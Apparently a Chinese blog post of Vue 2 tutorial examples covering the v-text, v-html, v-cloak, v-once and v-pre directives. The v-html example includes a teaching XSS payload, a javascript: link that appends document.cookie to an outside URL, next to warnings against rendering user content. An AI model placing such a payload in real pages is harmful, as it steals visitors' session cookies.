01.v-text指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 创建新的页面，记得引入。 -->
<script type='text/javascript' src="../JS/vue.js"></script>
</head>
<body>
<!--
我们学过的指令：
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染（动态控制节点是否存存在）
v-else : 条件渲染（动态控制节点是否存存在）
v-show : 条件渲染 (动态控制节点是否展示)
v-text指令：
1.作用：向其所在的节点中渲染文本内容。
2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
-->
<div id="root">
<div>{{name}}</div>
<!-- 大部分时间我们还是用的插值语法多一些，他可以自由拼接，v-text会完全替换div中的内容。 -->
<div v-text='name'></div>
<!-- 插值语法和v-text，都不能解析html的标签 -->
<div v-text='str'></div>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: '#root',
data: {
name: 'Vue学习',
str: '<h1>我是H2标签</h1>'
}
})
</script>
</body>
</html>02.v-html指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 创建新的页面，记得引入。 -->
<script type='text/javascript' src="../JS/vue.js"></script>
</head>
<body>
<!--
v-html指令：
1.作用：向指定节点中渲染包含html结构的内容。
2.与插值语法的区别：
(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意：v-html有安全性问题！！！！
(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
-->
<div id="root">
<div>{{name}}</div>
<div v-html='name'></div>
<!-- v-html和插值语法和v-text，他能解析html的标签 -->
<div v-html='str'></div>
<div v-html='str1'></div>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el: '#root',
data: {
name: 'Vue学习',
str: '<h1>我是H2标签</h1>',
str1: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie >点我跳转好玩的地方哦。</a>'
}
})
</script>
</html>03.v-cloak指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 创建新的页面，记得引入。 -->
<!-- 1.假设此时我们的引入延迟5s，那么下方的div中的内容就会延迟5s显示 -->
<!-- <script type='text/javascript' src="../JS/vue.js"></script> -->
</head>
<style>
/* 2.给所有引入v-cloak的添加样式 */
/* 2.作用就是：当vue没有介入的时候，不让div显示，当vue出现，她会自动消失，失去display: none的样式，完成div内容和vue同时显示的效果 */
[v-cloak] {
display: none;
}
</style>
<!-- v-cloak指令（没有值）：
1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。 -->
<body>
<div id="root">
<!-- 1.div中的内容就会延迟5s显示 -->
<!-- <div>{{name}}</div> -->
<!-- 2.div中的内容会直接展示{{name}}，但是vue没有介入，不会解析，5s之后介入才会显示解析，如果代码量过大，会影响使用 -->
<!-- 此时我们借助v-cloak，她的功能是vue介入的时候，自动去掉v-cloak，和style搭配使用。 -->
<div>{{name}}</div>
</div>
<!-- 2.假设此时我们的引入延迟5s，由于div在上方，会展示div，但是vue没有介入，所以不会解析 -->
<!-- <script type='text/javascript' src="../JS/vue.js"></script> -->
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el: '#root',
data: {
name: 'Vue学习',
}
})
</script>
</html>04.v-once指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 创建新的页面，记得引入。 -->
<script type='text/javascript' src="../JS/vue.js"></script>
</head>
<body>
<!--
v-once指令：
1.v-once所在节点在初次动态渲染后，就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
-->
<div id="root">
<!-- 在下方的按钮中，我只想让其中一个N的值改变，我需要给不不需要变的加一个v-once一次性，注意：后面不跟值 -->
<div v-once>初始值：{{n}}</div>
<div>当前值：{{n}}</div>
<button @click='n++'>点我让当前N++</button>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el: ' #root', data: { n: 1 }
})</script>
</html>05.v-pre指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 创建新的页面，记得引入。 -->
<script type='text/javascript' src="../JS/vue.js"></script>
</head>
<body>
<!--
v-pre指令：
1.跳过其所在节点的编译过程。
2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
-->
<div id="root">
<!-- v-pre加上的话，vue不解析这行代码，程序猿写的原封不动的展示，效率高点。 -->
<div v-pre>Vue其实很简单</div>
<div v-pre>当前值：{{n}}</div>
<div>当前值：{{n}}</div>
<button @click='n++'>点我让当前N++</button>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el: ' #root', data: { n: 1 }
})</script>
</html>
1342
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
